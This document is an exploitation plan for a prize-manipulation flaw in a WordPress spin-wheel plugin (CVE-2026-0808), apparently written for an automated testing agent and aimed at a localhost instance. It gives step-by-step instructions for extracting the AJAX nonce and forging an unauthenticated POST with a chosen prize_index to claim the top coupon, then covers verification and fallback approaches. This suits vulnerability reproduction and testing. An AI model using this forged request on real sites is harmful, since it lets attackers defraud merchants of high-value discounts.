Exploitation Research Plan: CVE-2026-0808 (Spin Wheel Prize Manipulation)

1. Vulnerability Summary

The Spin Wheel plugin (versions <= 2.1.0) suffers from a critical logic flaw where the prize selection process is performed client-side and trusted implicitly by the server. When a user spins the wheel, the JavaScript code calculates the winning segment and sends the resulting index to the server via an AJAX request. The server-side handler accepts this prize_index without verifying if the result was determined by a secure server-side randomizer, allowing an attacker to bypass the intended "game of chance" and claim any prize (e.g., the highest value discount coupon) by sending a forged request.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: spin_wheel_claim_prize (inferred) or spin_wheel_process_result (inferred).
• Vulnerable Parameter: prize_index (the integer representing the slice of the wheel).
• Authentication: Unauthenticated (uses wp_ajax_nopriv_ hooks).
• Preconditions:
  1. The plugin must be active.
  2. At least one "Spin Wheel" must be configured and active on a public page/post.
  3. A valid AJAX nonce is required for the request.

3. Code Flow (Inferred)

1. Trigger: User clicks "Spin".
2. Client-Side: JS function (e.g., spinWheel.calculateResult()) determines the segment.
3. AJAX Call: JS sends a POST request:

   jQuery.post(spin_wheel_vars.ajax_url, {
       action: 'spin_wheel_claim_prize',
       prize_index: 3, // Attacker changes this value
       nonce: spin_wheel_vars.nonce,
       email: 'user@example.com'
   });
   

4. Server-Side Handler: The function registered via add_action('wp_ajax_nopriv_spin_wheel_claim_prize', ...) receives the prize_index.
5. Sink: The handler retrieves the prize details from the plugin's settings using the provided index:

   $prizes = get_option('spin_wheel_prizes');
   $won_prize = $prizes[$_POST['prize_index']];
   // Server generates/sends coupon for $won_prize without checking logic.
   

4. Nonce Acquisition Strategy

The plugin likely enqueues its scripts and localizes a nonce for the AJAX action on pages containing the wheel.

1. Identify Entry Point: Search for the shortcode registration in the plugin files:
   grep -r "add_shortcode" wp-content/plugins/spin-wheel/
   Likely Shortcode: [spin_wheel] (inferred).
2. Setup Test Page:

   wp post create --post_type=page --post_title="Spin to Win" --post_status=publish --post_content='[spin_wheel]'
   

3. Extract Nonce:
   • Navigate to the newly created page.
   • Look for the localized JS object. Common patterns: spin_wheel_params, spin_wheel_ajax, or spin_wheel_data.
   • Use browser_eval to extract the nonce:
     browser_eval("window.spin_wheel_vars?.nonce") (inferred identifier).

5. Exploitation Strategy

Step 1: Identify Target Prize Index

First, inspect the plugin settings or the frontend wheel structure to determine which prize_index corresponds to the most valuable reward (e.g., Index 0 is often the "Grand Prize").

Step 2: Forge the Reward Claim

Send a direct POST request to admin-ajax.php.

HTTP Request (via http_request tool):

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body:

  action=spin_wheel_claim_prize&prize_index=0&nonce=[EXTRACTED_NONCE]&email=attacker@example.com
  

  (Note: Replace prize_index=0 with the index of the most valuable prize).

6. Test Data Setup

1. Install Plugin: Ensure spin-wheel version 2.1.0 is installed.
2. Configure Prizes:
   • Use WP-CLI or the admin panel to ensure "Prize 0" is a "50% Discount" and "Prize 5" is "Better luck next time".
3. Publish Wheel: Create a page with the shortcode as described in Section 4.

7. Expected Results

• Success: The server responds with a JSON success message, e.g., {"success":true,"data":{"coupon_code":"SAVE50","message":"Congratulations!"}}.
• Impact: The attacker receives a high-value coupon code that they should not have been able to "win" deterministically.

8. Verification Steps

1. Check Database: Use wp eval or wp db query to check if a coupon was generated or if the email attacker@example.com is recorded as having won the prize associated with prize_index=0.

   wp option get spin_wheel_log # (inferred option name)
   

2. Compare Logic: Verify that regardless of how the wheel "looks" on the browser, sending prize_index=0 always results in the top prize, while prize_index=5 results in a loss.

9. Alternative Approaches

• Parameter Fuzzing: If prize_index is not the parameter name, search the JS files (public/js/spin-wheel.js) for $.ajax or fetch calls to identify the exact key used to transmit the result.
• Client-Side Debugging: Use browser_eval to trigger the actual spin function but overwrite the variable that stores the result just before the AJAX call is fired.
• ID Manipulation: Check if a wheel_id or campaign_id is required if multiple wheels exist.